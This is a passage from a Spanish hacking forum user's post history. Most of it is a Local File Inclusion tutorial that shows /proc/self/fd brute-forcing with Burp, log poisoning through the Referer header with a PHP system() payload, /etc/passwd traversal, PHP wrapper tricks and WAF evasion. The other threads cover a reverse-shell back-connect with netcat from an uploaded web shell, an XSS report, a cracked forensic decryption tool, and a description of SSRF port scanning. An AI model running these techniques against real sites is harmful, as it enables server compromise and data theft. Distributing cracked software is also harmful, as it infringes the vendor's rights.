Ahora el /proc/self/fd = Este es un subdirectorio que contiene una entrada para cada archivo que tiene abierto el proceso, nombrada con el descriptor de fichero, y que es un enlace simbólico al archivo real. Por lo tanto, 0 es la entrada estándar, salida estándar 1, 2 error estándar, etc

para mas informacion sobre No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

bueno en este caso queremos encontrar la entrada del archivo del proceso abierto y como no sabemos usaremos bruteforce intentando hasta encontrar el archivo correcto....

Les dejo una wordlist aunque ustedes pueden crear una para esto o para cualquier cosa como blindsqli, bruteforce http etc burp es una gran suite :D

Código: php

/proc/self/fd/0
/proc/self/fd/1
/proc/self/fd/2
/proc/self/fd/3
/proc/self/fd/4
/proc/self/fd/5
/proc/self/fd/6
/proc/self/fd/7
/proc/self/fd/8
/proc/self/fd/9
/proc/self/fd/10
/proc/self/fd/11
/proc/self/fd/12
/proc/self/fd/13
/proc/self/fd/14
/proc/self/fd/15
/proc/self/fd/16
/proc/self/fd/17
/proc/self/fd/18
/proc/self/fd/19
/proc/self/fd/20
/proc/self/fd/21
/proc/self/fd/22
/proc/self/fd/23
/proc/self/fd/24
/proc/self/fd/25
/proc/self/fd/26
/proc/self/fd/27
/proc/self/fd/28
/proc/self/fd/29
/proc/self/fd/30
/proc/self/fd/31
/proc/self/fd/32
/proc/self/fd/33
/proc/self/fd/34
/proc/self/fd/35


no enseñare como configurar el burp suite ya que solo es una proxy y la puedes configurar desde el navegador para atrapar la web pero si explicare como hacer para atacar con el wordlist :D

tenemos nuestro Host a vulnerable a LFI y lo mandamos a intruder seria algo asi: Click derecho o action > Send to intruder
en intruder seleccionamos positions y damos un clear$ que seria limpiar y luego agregamos (add$) la ruta a escalar, ejemplo:



luego configuramos el payload agregamos el archivo wordlist desde load... y lo seleccionamos lo tienen arriba solo lo guardan como txt xD, despues de eso en el menu de arriba clickeamos intruder>start attack



buscamos una entrada relacionada con la web que estamos y dice que tenemos un error al pedir el archivo favicon.ico
entonces en repeater hago una peticion a /favicon.ico y pongo una cabecera referer inyectando el codigo malicioso por ejemplo
Código: php
<?php system('ls'); ?>




por ultimo hacemos de nuevo una peticion al archivo donde encontramos esos registros.... /proc/self/fd/numeroqueobtuvistes




Nuestro amigo Psymera comenta algo de un codigo con un path que seria asi:

Código: php

<?php
$pagina=$_GET['pagina'];
include("upload/$pagina");
?>


donde upload seria nuestra carpeta aunque seria lo mismo nos saldria un error con lo cual tendriamos que escalar las carpetas del servidor incluyendo tambien la carpeta upload.... un ejemplo de este error seria:



por lo que solo seria escalar dos carpetas mas despues del FPD (Full path disclousure)  que seria: ../../../../../../etc/passwd y entonces:



Este tipo de webs lo tome de un exploit de un cms que encontro Daniel Godoy...

tambien podriamos con No tienes permitido ver los links. Registrarse o Entrar a mi cuenta hacer un enlace para obtener un recurso por ejemplo obtener el index de una web por medio de un LFI, por ejemplo:

pagina.com/index.php?pagina=No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

tambien podriamos con No tienes permitido ver los links. Registrarse o Entrar a mi cuenta hacer un enlace para obtener un recurso por ejemplo obtener el index de una web por medio de un LFI, por ejemplo:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



esto nos mostraria el codigo del archivo index.php convertido a base64 con lo cual solo lo decodificariamos....



y con seguir buscando dentro del codigo podiamos encontrar un require() include() o un SQLI u otras vulnerabilidades, en este caso fue la base de datos :D




Otro ejemplo es usar data:// para obtener datos por medio de cabeceras de content-type por ejemplo seria hacer esto:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



ese base64 es un archivo php con una funcion system() pidiendo todo lo que se inque con cmd

por ultimo tambien puedes usar No tienes permitido ver los links. Registrarse o Entrar a mi cuenta para ingresar una shell en los datos por post pidiendo asi comandos



esa herramienta de arriba es la hackbar puedes descargar un manual en este mismo No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Incluso por No tienes permitido ver los links. Registrarse o Entrar a mi cuenta puedes obtener un lfi:



Evasion de WAF's

Muchas veces los WAF (Web Application Firewall) detectan una ataque  LFI respondiendo con otro tipo de codigo de estado que el normal -->200 OK como puede ser 403 Forbidden,501 No implementado,etc

Para ello usamos NULL BYTES que seria algo vacio %00 esta encodeado en urlencode, en este caso no tengo casos de ejemplo pero puedo mostrar como se conformaria este tipo de urls:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Otra manera seria encodear la barra (/)  que seria %2F

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

bueno estas solo son dos si saben mas avisen y agrego, para estos casos es solo imaginar como evadir el firewall de una aplicacion web

Como evitar un ataque LFI

podriamos usar condicionales en el codigo.... en este caso un switch dependiendo del numero de pagina incluidas y por defecto incluir una pagina si se pide otra cosa....

Código: php
<?php
$pagina=$_GET['pagina'];
switch ($pagina) {
 case 'about.php':
  include('about.php');
  break;
 
 default:
  include('index.php');
  break;
?>



Correciones

Bueno antes que nada me he equivocado en algunas partes y quiero compartilas y agradecer a Dedalo, Psymera ,Q3rv0 si alguien encuentra otro error en el tuto diganme y le hago un edit o si se saben otro metodo aparte de este tambien diganlo y le agregamos ....

Correcion 1: En el codigo de solucion tenia un include todavia en ves del switch <-- corregido
Correcion 2: Para el Wrapper No tienes permitido ver los links. Registrarse o Entrar a mi cuenta es necesario tener activado allow_url_include = On esto se puede modificar desde php.ini o .htaccess
Correcion 3: Para el Wrapper data:// es necesario tener activado allow_url_include y allow_url_fopen por lo que no serviria en este caso de LFI sino seria para RFI
Correcion 4: El codigo que comenta Psymera que es para RFI pero tambien viene en muchos LFI por lo que solamente incluire un pequeño ejemplo de lo que el comenta en el tuto :)

Bueno he terminado espero que les haya gustado he mostrado algunos metodos con los que pudiesen obtener datos importantes o obtener incluso una shell... salu2
#73
Hacking ShowOff / XSS mit student
Febrero 21, 2013, 04:04:36 AM
Ya que todos estan reportando para el team underc0de espero ayudar :P je



XSS

web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
vector: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
reportado: No

espero lo reporte antrax para el team salu2
#74
Bugs y Exploits / Back-Connect con shell
Febrero 17, 2013, 06:15:10 AM
Shell utilizada: BOOF 1.0

Conocimientos necesarios:
Vulnerabilidades (Para subir la shell)
netcat (para escuchar las conexiones)

Bueno el siguiente tutorial es corto y solo con fines educativos :P (A muchos se les hara basico pero a otros les puede servir)
Para que les sea mas facil lo hare por pasos :D
Antes que nada decir que backconnect es que una pc se conecte a ti

1.- Tener la shell upload

2.- Ir a la pestaña [ Network ]

3.- Abres la terminal y pones: nc -vv -l -p 31337  en pocas palabras que escuche todas las conexiones por el puerto 31337



4.- Back-connect [perl] <-- tiene dos opciones Server: tu ip Port: el puerto que estas escuchando



5.- dar click en >> e ir a tu terminal y empezar a ejecutar comandos :D



Salu2
#75
Dudas y pedidos generales / [SOLUCIONADO] Con un diccionario
Enero 31, 2013, 04:50:13 PM
Bueno es que miren estaba creando un diccionario con crunch pero tardaba demasiado tiempo en mi pc no tengo gpu ni nada de eso y bueno es que queria crear un diccionario como el siguiente:

0123456789ABCDEF
10 characteres como minimo y maximo

si se pudiera un rainbow table como ese fuera lo mejor de lo mejor jaja pero bueno quisiera saber si alguien tiene un diccionario de ese tipo?
quiero que sea de 10 characteres no de 5 ni 6 si alguien puede por favor que me lo pase jeje si no es mucha molestia :P
bueno nada mas eso si pueden pasenmelo sino pues nimodo xD :P

salu2 :D
#76
Informática Forense / [Crakeado] Elcomsoft Forensic Disk Decryptor
Enero 28, 2013, 03:36:38 AM


Les dejo la descripcion esta en ingles pero el programa es bastante bueno :)

Forensic Access to Encrypted BitLocker, PGP and TrueCrypt Disks and Containers

Perform the complete forensic analysis of encrypted disks and volumes protected with desktop and portable versions of BitLocker, PGP and TrueCrypt. Elcomsoft Forensic Disk Decryptor allows decrypting data from encrypted containers or mounting encrypted volumes, providing full forensic access to protected information stored in the three most popular types of crypto containers. Access to encrypted information is provided in real-time.
Features and Benefits

    Decrypts information stored in three most popular crypto containers
    Mounts encrypted BitLocker, PGP and TrueCrypt volumes
    Supports removable media encrypted with BitLocker To Go
    Supports both encrypted containers and full disk encryption
    Acquires protection keys from RAM dumps, hibernation files
    Extracts all the keys from a memory dump at once if there is more than one crypto container in the system
    Fast acquisition (limited only by disk read speeds)
    Zero-footprint operation leaves no traces and requires no modifications to encrypted volume contents
    Recovers and stores original encryption keys
    Supports all 32-bit and 64-bit versions of Windows

Access Information Stored in Popular Crypto Containers

ElcomSoft offers investigators a fast, easy way to access encrypted information stored in crypto containers created by BitLocker, PGP and TrueCrypt.
Two Access Modes*

Access is provided by either decrypting the entire content of an encrypted volume or by mounting the volume as a drive letter in unlocked, unencrypted mode.
Complete Decryption

In complete decryption mode, Elcomsoft Forensic Disk Decryptor will automatically decrypt the entire content of the encrypted container, providing investigators with full, unrestricted access to absolutely all information stored on encrypted volumes.
Real-Time Access to Encrypted Information

In real-time mode, Elcomsoft Forensic Disk Decryptor mounts the encrypted volume as a new drive letter on the investigator's PC. In this mode, forensic specialists enjoy fast, real-time access to protected information. Information read from mounted disks and volumes is decrypted on-the-fly in real time.

* Another program Elcomsoft Distributed Password Recovery allows attacking plain-text passwords protecting the encrypted containers with a range of advanced attacks including dictionary, mask and permutation attacks in addition to brute-force.
Zero Footprint Operation

ElcomSoft offers a forensically sound solution. The tool provides true zero-footprint operation, leaving no traces and making no changes to the contents of encrypted volumes.
Three Ways to Acquire Encryption Keys

Elcomsoft Forensic Disk Decryptor needs the original encryption keys in order to access protected information stored in crypto containers. The encryption keys can be derived from hibernation files or memory dump files acquired while the encrypted volume was mounted. There are three ways available to acquire the original encryption keys:

    By analyzing the hibernation file (if the PC being analyzed is turned off);
    By analyzing a memory dump file *
    By performing a FireWire attack ** (PC being analyzed must be running with encrypted volumes mounted).

* A memory dump of a running PC can be acquired with one of the readily available forensic tools such as MoonSols Windows Memory Toolkit
** A free tool launched on investigator's PC is required to perform the FireWire attack (e.g. Inception)
Acquiring Encryption Keys

Generally, the choice of one of the three attacks depends on the running state of the PC being analyzed. It also depends on whether or not installation of a forensic tool is possible on a PC under investigation.

If the PC being investigated is turned off, the encryption keys can be retrieved from the hibernation file. The encrypted volume must be mounted before the computer went to sleep. If the volume is dismounted before hibernation, the encryption keys may not be derived from the hibernation file.

If the PC is turned on, a memory dump can be taken with any forensic tool if installation of such tool is permitted (e.g. the PC is unlocked and logged-in account has administrative privileges). The encrypted volume must be mounted at the time of memory dump acquisition. Good description of this technology (and complete list of free and commercial memory acquisition tools) is available at No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Finally, if the PC being investigated is turned on but installing forensic tools is not possible (e.g. the PC is locked or logged-in account lacks administrative privileges), a remote attack via a FireWire port can be performed in order to obtain a memory dump. This attack requires the use of a free third-party tool (such as Inception: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta), and offers near 100% results due to the implementation of FireWire protocol that enables direct memory access. Both the target PC and the computer used for acquisition must have FireWire (IEEE 1394) ports.

Once the original encryption keys are acquired, Elcomsoft Forensic Disk Decryptor stores the keys for future access, and offers an option to either decrypt the entire content of encrypted container or mount the protected disk as another drive letter for real-time access.
Supported Disk Encryption Tools

Elcomsoft Forensic Disk Decryptor works with encrypted volumes created by current versions of BitLocker, PGP and TrueCrypt, including removable and flash storage media encrypted with BitLocker To Go. Supports PGP encrypted containers and full disk encryption.
Compatibility

Elcomsoft Forensic Disk Decryptor runs in all 32-bit and 64-bit editions of Windows XP, Vista, Windows 7, 2003 and 2008 Server.


Link del enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Espero les guste el aporte saludos xD
#77
Pentesting / NLAS Script
Enero 21, 2013, 12:30:28 AM
Bueno amigos vi que mi bro Dedalo  posteo algo muy bueno en su web serguridadblanca entonces me puse a probar :D
NLAS es un script (version BETA) para auditar redes lan con nmap, si tu quieres puedes editar los comandos a tu gusto como menciona Dedalo en su post :D
Pues esta creado en python y es muy facil de usar solo lo ejecutas como root para que te de mas opciones (es necesario tener nmap instalado obviamente :P) y bueno empiezas con C para continuar dura 3 segundos en cargar los menus y empiezas a seleccionar tu opcion preferida... aqui te doy una imagen :D




Link: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

web oficial: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Fuente:  No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Enjoy
#78
Informática Forense / Explicacion BASICA sobre las cabeceras de archivos
Enero 02, 2013, 05:32:01 AM
Bien para entender posteriores temas sobre esteganografia, dare una breve y rural introduccion como entendi yo esto de las cabeceras.

Por ejemplo un archivo tiene como todo archivo una cabecera que identifica que tipo de archivo y formato es, para que asi la computadora sepa con que programa abrirlo.

Dentro de la cabecera de un archivo puede haber varia informacion como.

.-Formato
.-Dimensiones
.-Peso
.-Modificaciones
.-tipo de compresion
.-Duracion

etc...Todo depende del tipo de archivo que sea por que por ejemplo un archivo de audio puede traer en la cabecera la duracion del sonido, mientras que un archivo grafico, puede traer la paleta de colores, entonces dependiendo de que tipo de formato sea cambian los valores en bytes de las cabeceras.

Aqui pondre basicamente lo que nos importa para poder identificar mas facilmente los archivos que se oculte.

Un archivo dentro de la cabecera tiene "la firma" del archivo, que es lo que identifica a todo formato para saber que tipo de formato es.

Ejemplo:

Un archivo .png dentro de la cabecera su firma es "PNG"



y el pie de formato es |END


; osea con lo que empieza el archivo .png es con los primeros 3 bytes que forman la firma y eso forma PNG, y los ultimos bytes de un png forman |END.

Aqui pongo una lista con lo que podriamos identificar los archivos mas ocultados
Formato  Firma de cabecera Pie de formato

.PNG             PNG   |END
.GIF              GIF   |END
.JPG/JPEG     ÿØÿà   ÿÙ
.BMP             BM
.EXE             Mz
.MP3            ID3
.RAR             Rar
.ZIP              Pk
.PDF            %PDF

Ahora ¿Pará que nos servira esto? bien por ejemplo en la tecnica EoF si hacemos estegoanalisis a una imagen .jpg y la analizamos con el editor hexadecimal o con el comando "strings"
y vemos que el archivo empieza con ÿØÿà pero que termina con |END y no con
ÿÙ entonces deducimos que ahi hay algo oculto, por que ese |END no pertenece a un jpg, entonces hay la posibilidad que este escondido un PNG o un GIF dentro del JPG y nosotros no lo vemos.

Para esto nos servira conocer sobre esto. Bueno despues de esta pequeña explicacion, ahora si recomiendo seguir con los tutos de esteganografia por EoF.

Recuerden esto solo es una pequeña explicacion como yo creo que sera mas facil de entender para nosotros los principiantes de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Fuente:
Att. Por hecky para No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

#79
Pentesting / Cross site port attack - XSPA
Diciembre 31, 2012, 12:58:10 AM
Bueno antes que nada este ataque no es mio.
Solo les dejo una pequeña descripcion de que trata, lo que pueden atacar, y como solucionarlo y les dejare post y video del autor.

Cross site port attack

como sus propias palabras lo dicen ataca los puertos, es decir hace un escaneo de puerto desde la misma pagina web, esto incluyendo la url con un puerto especifico, ejemplo No tienes permitido ver los links. Registrarse o Entrar a mi cuenta en este caso seria escanear el puerto 22, claro esto sabiendo que es una aplicacion vulnerable, lo que seria como si el servidor fuera un proxy y nos analiza el puerto, pueden usar esta aplicacion vulnerable: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta agregando el ejemplo anterior les un error el puerto no esta abierto pero si lo agregan con el puerto 21 funciona bien con bandera es decir el puerto esta abierto :D

ejemplo puerto 21 de underc0de abierto muestra la bandera :D xd


imagen de ejemplo no es mia

en este caso serian ataques externos, pero tambien puede haber ataques internos, como por ejemplo escanear la misma pagina donde estas trabajando, los dispositivos que tiene la maquina, ver la intranet, atacar sqli a una web externa y usar la web vulnerable como proxy,


imagen que muestra como usan el servidor como proxy XD!

explotar programas locales, leer archivos locales con el uso de el protocolo No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

unas imagenes de ejemplo que el autor ataco con este ataque:


ataque de xspa en google

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

un buffer overflow atacando desde xspa


dispositivo modem dlink router con un ataque xspa


imagen donde lee el /etc/passwd con el protocolo No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Todas estas webs pueden ser atacadas por que en realidad lo que hacen es pedir un recurso desde una url externa, por ejemplo:



pide una url externa como recurso, pero claro todos estos ya han sido fixeados por que el autor los reporto....

ahora como se pueden arreglar esta vuln?

primero que nada validando el content-type
mostrar los mensajes de errores - por ejemplo: informacion invalida
restringir ciertos puertos
bloquear ips con blacklist y whitelist - aqui se puede incluir las ips de la misma intranet
bloqueando protocolos como No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ftp:// si no quieren que entren esta claro

bueno este no es un tutorial nunca tratara de serlo solo es una breve descripcion, si quieren ver el tutorial de verdad, aqui les dejo las tres partes del autor definitivamente bien descriptivas :D

Enlaces

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

y el video del autor que les prometi xD

Video

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

saludos espero lean xD :P

#80
Dudas y pedidos generales / [SOLUCIONADO] Alguien sabe como hacer un usb booteable con linux?
Noviembre 19, 2012, 08:00:44 PM
hola amigos, queria saber si me podrian ayudar con esto, es que tengo rato trantando de bootear un usb agregandole windows 7 desde un dvd pero pues no se lo puedo agregar estoy usando el unetbootin pero no funciona, no se si me di a explicar asi que lo dejare un poco mas claro con un grafico

EN UBUNTU

USB --- WIN7 ----DVD

quiero pasar el windows7 que esta el el dvd al usb desde el ubuntu pero no me ha funcionado con el unetbootin algun otro programa que conoscan? aguna otra opcion espero me respondan un saludo y gracias de antemano :)
Páginas 1 2 3 4